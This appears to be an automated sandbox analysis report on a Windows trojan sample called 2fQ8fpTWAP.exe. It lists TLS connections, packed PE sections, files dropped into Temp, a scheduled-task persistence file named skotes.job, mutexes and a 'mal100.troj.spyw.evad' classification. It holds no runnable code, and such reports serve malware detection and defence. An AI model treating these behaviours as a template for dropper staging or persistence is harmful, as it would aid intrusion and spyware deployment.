Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.8:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.8:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.8:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.8:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.91:443 -> 192.168.2.8:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.8:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.168.112.67:443 -> 192.168.2.8:50174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50176 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50177 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:50183 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: d146970153.exe, 0000000C.00000002.2347191221.0000000000C92000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_be44175a-6
Source: d146970153.exe, 0000000C.00000002.2347191221.0000000000C92000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_bdaef2d6-3

PE file contains section with special chars

Source: 2fQ8fpTWAP.exe	Static PE information: section name:
Source: 2fQ8fpTWAP.exe	Static PE information: section name: .idata
Source: 2fQ8fpTWAP.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: .idata
Source: random[1].exe.7.dr	Static PE information: section name:
Source: f20b4c0961.exe.7.dr	Static PE information: section name:
Source: f20b4c0961.exe.7.dr	Static PE information: section name: .idata
Source: f20b4c0961.exe.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: e2af9f55fd.exe.7.dr	Static PE information: section name:
Source: e2af9f55fd.exe.7.dr	Static PE information: section name: .idata
Source: e2af9f55fd.exe.7.dr	Static PE information: section name:
Source: random[2].exe.7.dr	Static PE information: section name:
Source: random[2].exe.7.dr	Static PE information: section name: .idata
Source: 44452951d3.exe.7.dr	Static PE information: section name:
Source: 44452951d3.exe.7.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119E0B8	9_3_0119E0B8
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119E0B8	9_3_0119E0B8
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119E0B8	9_3_0119E0B8
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 9_3_0119E0B8	9_3_0119E0B8
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_3_006BDCE6	11_3_006BDCE6
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_3_006BDCE6	11_3_006BDCE6
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_3_006BD377	11_3_006BD377
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_3_006BD377	11_3_006BD377
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_3_006BDCE6	11_3_006BDCE6
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_3_006BDCE6	11_3_006BDCE6
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_3_006BD377	11_3_006BD377
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_3_006BD377	11_3_006BD377
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C31DDD	11_2_05C31DDD
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C09DF4	11_2_05C09DF4
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C0A5F6	11_2_05C0A5F6
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C495FE	11_2_05C495FE
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C52585	11_2_05C52585
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C4F597	11_2_05C4F597
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C22D9F	11_2_05C22D9F
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C1F5B6	11_2_05C1F5B6
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C335BB	11_2_05C335BB
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C405BE	11_2_05C405BE
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C05D43	11_2_05C05D43
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C0AD44	11_2_05C0AD44
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C20D48	11_2_05C20D48
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C0CD4C	11_2_05C0CD4C
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C4D55C	11_2_05C4D55C
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C1A55B	11_2_05C1A55B
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C30D58	11_2_05C30D58
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C53D59	11_2_05C53D59
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C2856E	11_2_05C2856E
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C2DD6F	11_2_05C2DD6F
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C0D579	11_2_05C0D579
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C2BD79	11_2_05C2BD79
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C43501	11_2_05C43501
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C22504	11_2_05C22504
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C29D0F	11_2_05C29D0F
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C3950E	11_2_05C3950E
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C21D25	11_2_05C21D25
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C10CC4	11_2_05C10CC4
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C05CC7	11_2_05C05CC7
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C0FCD0	11_2_05C0FCD0
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C454DE	11_2_05C454DE
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C1CCE0	11_2_05C1CCE0
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C42CE0	11_2_05C42CE0
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C35CE5	11_2_05C35CE5
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C544E3	11_2_05C544E3
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C1ECE9	11_2_05C1ECE9
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C474F4	11_2_05C474F4
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C4E4F6	11_2_05C4E4F6
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C26CF1	11_2_05C26CF1
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C084F6	11_2_05C084F6
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C50481	11_2_05C50481
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C3448B	11_2_05C3448B
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C15C99	11_2_05C15C99
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C2D49A	11_2_05C2D49A
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C194AE	11_2_05C194AE
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C0C4B4	11_2_05C0C4B4
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C4ECBF	11_2_05C4ECBF
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C49446	11_2_05C49446
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C2CC59	11_2_05C2CC59
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C09461	11_2_05C09461
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C10474	11_2_05C10474
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C3A412	11_2_05C3A412
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C4C418	11_2_05C4C418
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C11C1C	11_2_05C11C1C
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C2EFC4	11_2_05C2EFC4
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C2E7C5	11_2_05C2E7C5
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C447D9	11_2_05C447D9
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C41FE1	11_2_05C41FE1
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C11FE8	11_2_05C11FE8
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C267EB	11_2_05C267EB
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C40FF7	11_2_05C40FF7
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C41795	11_2_05C41795
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C4FFB9	11_2_05C4FFB9
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C4BF4D	11_2_05C4BF4D
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C20748	11_2_05C20748
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C1DF4A	11_2_05C1DF4A
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C1B74D	11_2_05C1B74D
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C36F4E	11_2_05C36F4E
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C28F66	11_2_05C28F66
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C46F63	11_2_05C46F63
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C39F74	11_2_05C39F74
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C45F12	11_2_05C45F12
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C1BF20	11_2_05C1BF20
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C49F26	11_2_05C49F26
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C27727	11_2_05C27727
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C3DF29	11_2_05C3DF29
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C08F32	11_2_05C08F32
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C2FF3A	11_2_05C2FF3A
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C22F39	11_2_05C22F39
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C0C73E	11_2_05C0C73E
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C13ECA	11_2_05C13ECA
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C456C9	11_2_05C456C9
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C1FECE	11_2_05C1FECE
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C2DED5	11_2_05C2DED5
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C466E3	11_2_05C466E3
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C3B6ED	11_2_05C3B6ED
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C096F2	11_2_05C096F2
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C34EFE	11_2_05C34EFE
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C17686	11_2_05C17686
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C4B696	11_2_05C4B696
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C37690	11_2_05C37690
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C24695	11_2_05C24695
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C3AEA1	11_2_05C3AEA1
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C066B7	11_2_05C066B7
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C486BB	11_2_05C486BB
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C4A6BB	11_2_05C4A6BB
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Code function: 11_2_05C10E47	11_2_05C10E47

Source: 2fQ8fpTWAP.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2fQ8fpTWAP.exe	Static PE information: Section: ZLIB complexity 0.9979564032697548
Source: 2fQ8fpTWAP.exe	Static PE information: Section: bwkbkxir ZLIB complexity 0.9947653399589541
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979564032697548
Source: skotes.exe.0.dr	Static PE information: Section: bwkbkxir ZLIB complexity 0.9947653399589541
Source: random[1].exe.7.dr	Static PE information: Section: ZLIB complexity 0.9992763831967213
Source: random[1].exe.7.dr	Static PE information: Section: xwjcifzz ZLIB complexity 0.9946616550226586
Source: f20b4c0961.exe.7.dr	Static PE information: Section: ZLIB complexity 0.9992763831967213
Source: f20b4c0961.exe.7.dr	Static PE information: Section: xwjcifzz ZLIB complexity 0.9946616550226586
Source: random[1].exe0.7.dr	Static PE information: Section: chbioofn ZLIB complexity 0.9947662911084044
Source: e2af9f55fd.exe.7.dr	Static PE information: Section: chbioofn ZLIB complexity 0.9947662911084044

Source: random[1].exe0.7.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: e2af9f55fd.exe.7.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@107/29@49/14

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1532:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5956:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4796:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7996:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7940:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7872:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7816:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4884:120:WilError_03

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
